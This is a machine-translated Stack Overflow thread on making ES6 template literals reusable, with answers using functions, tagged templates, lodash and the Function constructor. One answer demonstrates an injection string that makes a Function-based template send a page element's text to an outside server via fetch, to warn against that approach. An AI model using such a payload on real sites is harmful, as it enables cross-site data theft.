可以在运行时(或重用)替换ES6模板文字吗?

Jos*_*osh 98 javascript ecmascript-6 template-literals

tl; dr:是否可以制作可重复使用的模板文字?

我一直在尝试使用模板文字,但我想我只是没有得到它,现在我感到沮丧.我的意思是,我认为我得到它,但"它"不应该是它如何工作,或它应该如何得到.应该有所不同.

我看到的所有示例(甚至是标记模板)都要求"替换"在声明时而不是运行时完成,这对我来说对于模板来说似乎完全没用.也许我很疯狂,但对我来说,一个"模板"是一个包含令牌的文档,当你使用它时,它们会被替换,而不是在你创建它时,否则它只是一个文档(即一个字符串).模板与令牌一起存储为令牌,当您评估它们时,将评估这些令牌.

每个人都引用了一个可怕的例子,类似于:

var a = 'asd';
return `Worthless ${a}!`
Run Code Online (Sandbox Code Playgroud)

这很好,但如果我已经知道a,我会return 'Worthless asd'或者return 'Worthless '+a.重点是什么?认真.好吧,重点是懒惰; 更少的优点,更多的可读性.大.但那不是模板!不是恕我直言.MHO就是最重要的!问题,恕我直言,模板在声明时被评估,所以,如果你这样做,恕我直言:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!
Run Code Online (Sandbox Code Playgroud)

由于expletive未声明,因此输出类似的内容My undefined template.超.实际上,至少在Chrome中,我甚至无法声明模板; 它会抛出错误,因为expletive没有定义.我需要的是能够在声明模板后进行替换:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template
Run Code Online (Sandbox Code Playgroud)

但是,我不知道这是如何可能的,因为这些不是真正的模板.即使你说我应该使用标签,nope,它们也不起作用:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...
Run Code Online (Sandbox Code Playgroud)

这一切都让我相信模板文字被错误地命名,应该被称为它们的真正含义:heredocs.我想"文字"部分应该让我失望(如,不可变)?

我错过了什么吗?是否有[好]方法来制作可重用的模板文字?


我给你,可重复使用的模板文字:

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!
Run Code Online (Sandbox Code Playgroud)

这是一个天真的"帮手"功能......

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);
Run Code Online (Sandbox Code Playgroud)

......使它"更好".

我倾向于把它们称为模板guterals,因为它们产生了扭曲的感觉.

Que*_*les 69

要使这些文字像其他模板引擎一样工作,需要有一个中间形式.

执行此操作的最佳方法是使用Function构造函数.

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));
Run Code Online (Sandbox Code Playgroud)

与其他模板引擎一样,您可以从其他位置(如文件)获取该字符串.

使用此方法可能会出现问题,例如模板标签很难使用,但如果您很聪明,可以添加这些标签.由于插值过晚,您也无法使用内联JavaScript逻辑.这也可以通过一些思考来弥补.

  • **注意**这个模板字符串有点'隐藏'到翻译(即webpack),因此不会转化为[足够兼容(即IE11)](https://caniuse.com/#feat=template-literals) )在客户端......! (6认同)
  • 太好了!你甚至可以使用```new Function(`return \`$ {template} \`;`)``` (5认同)
  • ** XSS漏洞**?[THIS JSFIDDLE]中的详细信息(https://jsfiddle.net/Lamik/w97qdpvf/) (4认同)
  • 我稍微调整了这个片段以避免编写“这个”。 https://gist.github.com/tmarshall/31e640e1fa80c597cc5bf78566b1274c (4认同)
  • 您的程序允许以直接方式进行 xss 攻击(输入上的邪恶参数允许窃取数据)-据我所知,我的程序不允许这样做(如果不提供允许的邪恶参数示例) (2认同)
  • 我不明白“新功能”的用例。只需 const genMarkup = (person) =&gt; `'&lt;div&gt;${person.name}&lt;/div&gt;'` (2认同)
  • 这很危险。 (2认同)

Poi*_*nty 54

您可以在函数中放置模板字符串:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}
Run Code Online (Sandbox Code Playgroud)

你可以用标记的模板做同样的事情:

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"
Run Code Online (Sandbox Code Playgroud)

我们的想法是让模板解析器从变量"slots"中拆分出常量字符串,然后返回一个函数,每次根据一组新的值将它们全部补回.

  • @FelixKling可能是; 我会检查并修复它,如果是这样的话.*编辑*是的,看起来我遗漏了一个重要的部分示例,即"可重用"功能:) (3认同)
  • 是的,成为 tbh 没有多大意义;) 你总是可以删除它......但是可以实现 `reusable` 以便它返回一个函数,你会使用 `${0}` 和`${1}` 代替了 `${a}` 和 `${b}`。然后你可以使用这些值来引用函数的参数,类似于 Bergi 在他的最后一个例子中所做的:http://stackoverflow.com/a/22619256/218196(或者我猜它基本上是一样的)。 (2认同)
  • 如果结果实际上不是字符串,则标记模板可能非常强大.例如,在我的一个项目中,我使用它来进行AST节点插值.例如,可以使用`expression \`a + $ {node} \`来构建具有现有AST节点`node`的BinaryExpression节点.在内部,我们插入一个占位符来生成有效代码,将其解析为AST并用传入的值替换占位符. (2认同)

Pil*_*mas 37

可能最简洁的方法是使用箭头函数(因为此时我们已经使用了ES6)

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"
Run Code Online (Sandbox Code Playgroud)

...对于标记的模板文字:

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"
Run Code Online (Sandbox Code Playgroud)

这也避免了使用eval()Function()可能导致编译器出现问题并导致大量减速的问题.

  • 我认为这是最好的之一,因为您可以在函数“myTag”中注入一些代码来执行一些操作。例如,使用输入参数作为缓存输出的键。 (2认同)
  • 我认为这是最好的答案。您还可以向箭头函数添加参数,我认为这使其更加清晰:`var reusable = (value: string) =&gt; \`Value is ${value}\``。 (2认同)
  • 那是非常干净的;不幸的是,如果 `object` 和 `creator` 变量超出了 `reusable` 的范围,它就会崩溃: var reusable = () =&gt; `This ${object} was generated by ${creator}`; (function IIFE() { var object = "template string", Creator = "a function"; console.log (reusable()); // "此模板字符串是由函数创建的" })(); 未捕获的引用错误:对象未定义``` (2认同)

mik*_*ana 9

2018回答:

evalnpm上的模块就是这样做的.

const fillTemplate = require('es6-dynamic-template');
Run Code Online (Sandbox Code Playgroud)

与目前的答案不同:

  • 它使用ES6模板字符串,而不是类似的格式
  • 它不需要es6-dynamic-template在模板字符串中
  • 您可以在单个函数中指定模板字符串和变量
  • 它是一个维护的,可更新的模块,而不是StackOverflow的copypasta

用法很简单.使用单引号作为模板字符串将在以后解决!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});
Run Code Online (Sandbox Code Playgroud)

  • 您应该在答案中透露您是该库的作者。 (3认同)
  • 这是我在个人项目中使用的解决方案,它完美无缺。我实际上认为使用太多库是一个坏主意,尤其是对于像这样的小型实用程序。 (2认同)
  • 这不会远程使用 es6 模板文字。试试 `10 * 20 = ${10 * 20}` 所以它可能是类似的格式,但它甚至不是远程 es6 模板文字 (2认同)

Sey*_*ejo 9

2021 年出现了迄今为止最直接的解决方案。

const tl = $ =>`This ${$.val}`;
tl({val: 'code'});
Run Code Online (Sandbox Code Playgroud)

它几乎与编写和重用模板文字(OP 想要的)相同。

你可以从这里调整东西......


小智 7

如果你不希望使用命令参数或上下文/命名空间来引用您的模板中,变量例如${0},${this.something}或者${data.something},你可以有一个模板函数,负责划定范围的为您服务.

如何调用此类模板的示例:

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"
Run Code Online (Sandbox Code Playgroud)

模板功能:

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}
Run Code Online (Sandbox Code Playgroud)

在这种情况下的怪癖是你只需要传递一个返回ES6模板文字的函数(在我使用箭头函数的例子中).我认为获得我们追求的可重用插值是一个小的权衡.

这是在GitHub上:https://github.com/Adelphos/ES6-Reuseable-Template

  • 这很好,但缩小(vals,func等)是不必要的,'cb'不是回调(这完全是同步代码),你可以使用`Object.values()`和`Object.keys ()` (3认同)

aGu*_*egu 7

简短的回答是只使用_.template在lodash

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'
Run Code Online (Sandbox Code Playgroud)


sub*_*der 6

简化@metamorphasi提供的答案;

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);
Run Code Online (Sandbox Code Playgroud)

  • **XSS 漏洞**?摆弄恶意代码(变量“var Hosting”)[此处](https://jsfiddle.net/Lamik/4y8s9502/)。 (3认同)

Gen*_*1-1 6

感谢@Quentin-Engles 的出色想法和最佳答案,这让我开始了!

但我将新函数直接存储在变量中,而不是每次都返回函数,这样函数和模板文字都只构建一次,而不是每次调用它时,就像昆汀的答案中那样。

const templateString = "Hello ${this.name}.";
var myData = {
    name: "world"    
};

const buildItem = new Function("return `" + templateString + "`;");

console.log(buildItem.call(myData));  // Hello world.

myData.name = "Joe";
console.log(buildItem.call(myData));  // Hello Joe.
Run Code Online (Sandbox Code Playgroud)

  • @Ivancho 是的,很安全。它与 eval() 不一样……它仍然只是一个 ES6 模板文字。这只是动态地将变量传递给文字的一种方法。如果它不安全,那么 ES6 文字作为一个整体也是不安全的。 (2认同)

Fra*_*cke 5

如果您正在寻找相当简单的东西(只是固定变量字段,没有计算,条件\xe2\x80\xa6),但在没有模板字符串支持的浏览器上也可以在客户端工作,例如 IE 8,9,10,11 \xe2 \x80\xa6

\n\n

开始了:

\n\n
fillTemplate = function (templateString, templateVars) {\n    var parsed = templateString;\n    Object.keys(templateVars).forEach(\n        (key) => {\n            const value = templateVars[key]\n            parsed = parsed.replace(\'${\'+key+\'}\',value)\n        }\n    )\n    return parsed\n}\n
Run Code Online (Sandbox Code Playgroud)\n


Rod*_*ues 5

我错过了什么吗?有没有 [good] 方法来制作可重用的模板文字?

也许遗漏了一些东西,因为我对这个问题的解决方案对我来说似乎很明显,以至于我很惊讶没有人已经在这么老的问题中写过了。

我有一个几乎是单行的:

function defer([first, ...rest]) {
  return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, first);
}
Run Code Online (Sandbox Code Playgroud)

就这样。当我想重用模板并推迟替换的解析时,我只是这样做:

> t = defer`My template is: ${null} and ${null}`;
> t('simple', 'reusable');          // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null);                          // 'My template is: null and undefined'
>
> defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false'
Run Code Online (Sandbox Code Playgroud)

应用此标签返回 a 'function'(而不是 a 'string'),它忽略传递给文字的任何参数。然后可以稍后使用新参数调用它。如果一个参数没有相应的替换,它就会变成'undefined'


扩展答案

这个简单的代码是功能性的,但是如果您需要更详细的行为,可以应用相同的逻辑,并且有无限的可能性。你可以:

  1. 利用原始参数:

您可以在构造中存储传递给文字的原始值,并在应用模板时以创造性的方式使用它们。它们可以成为标志、类型验证器、函数等。这是一个将它们用作默认值的示例:

    function deferWithDefaults([first, ...rest], ...defaults) {
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + (i < values.length ? values[i] : defaults[i]) + curr;
      }, first);
    }
Run Code Online (Sandbox Code Playgroud)

然后:

    > t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
    > t('awesome');                 // 'My template is: awesome and versatile' 
Run Code Online (Sandbox Code Playgroud)
  1. 写一个模板工厂:

通过将此逻辑包装在一个函数中来实现,该函数期望一个自定义函数作为参数,该函数可以应用于归约(当连接模板文字的各个部分时)并返回一个具有自定义行为的新模板。

    const createTemplate = fn => function (strings, ...defaults) {
      const [first, ...rest] = strings;
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + fn(values[i], defaults[i]) + curr;
      }, first);
    };
Run Code Online (Sandbox Code Playgroud)

然后你可以,例如,编写在编写嵌入的 html、css、sql、bash 时自动转义或清理参数的模板......

    function sqlSanitize(token, tag) {
      // this is a gross simplification, don't use in production.
      const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
      const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value);
      switch (tag) {
        case 'table':
          return quoteName(token);
        case 'columns':
          return token.map(quoteName);
        case 'row':
          return token.map(quoteValue);
        default:
          return token;
      }
    }

    const sql = createTemplate(sqlSanitize);
Run Code Online (Sandbox Code Playgroud)

使用这个天真的(我再说一遍,天真!)sql 模板,我们可以构建这样的查询:

    > q  = sql`INSERT INTO ${'table'} (${'columns'})
    ... VALUES (${'row'});`
    > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
    // `INSERT INTO user (id,"user name","is""Staff""?")
    // VALUES (1,'O''neil',true);`
Run Code Online (Sandbox Code Playgroud)
  1. 接受替换的命名参数:基于已经给出的内容,一个不那么难的练习。在另一个答案中有一个实现。

  2. 使返回对象表现得像一个'string': 嗯,这是有争议的,但可能会导致有趣的结果。显示在另一个答案中

  3. 在调用站点解析全局命名空间中的参数:

我给你,可重用的模板文字:

好吧,这就是 OP 显示的是他的附录,使用命令evil,我的意思是,eval。这可以在没有 的情况下完成eval,只需将传递的变量名称搜索到全局(或窗口)对象中即可。我不会展示如何去做,因为我不喜欢它。关闭是正确的选择。


Kam*_*ski 5

是的,您可以通过Function(或eval)将带有模板的字符串解析为JS来做到这一点-但这不建议这样做,并且会允许XSS攻击

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example venomous string which will 'hack' fillTemplate function
  var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var domain = {Id:1234, User:22};
  var result = fillTemplate(hosting, domain); // evil string attack here

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}

window.parseString=parseString;
Run Code Online (Sandbox Code Playgroud)
#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }
Run Code Online (Sandbox Code Playgroud)
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then system save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template 
with JS code (hosting variable in js code) ...
</pre>
<div id='mydiv'>
My private content
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>
Run Code Online (Sandbox Code Playgroud)

相反,您可以按照以下方式以动态方式将对象字段安全地插入obj模板str

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
Run Code Online (Sandbox Code Playgroud)

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
Run Code Online (Sandbox Code Playgroud)

  • @Michel Fornaris,您可以将函数调用放在对象/上下文中...... (2认同)
  • 这很有启发性 (2认同)

Lux*_*001 5

您可以只使用单行标记模板,例如:

const SERVICE_ADDRESS = (s,tenant) => `http://localhost/${tenant}/api/v0.1/service`;
Run Code Online (Sandbox Code Playgroud)

在客户端代码中,您可以像这样使用它:

const myTenant = 'me';
fetch(SERVICE_ADDRESS`${myTenant}`);
Run Code Online (Sandbox Code Playgroud)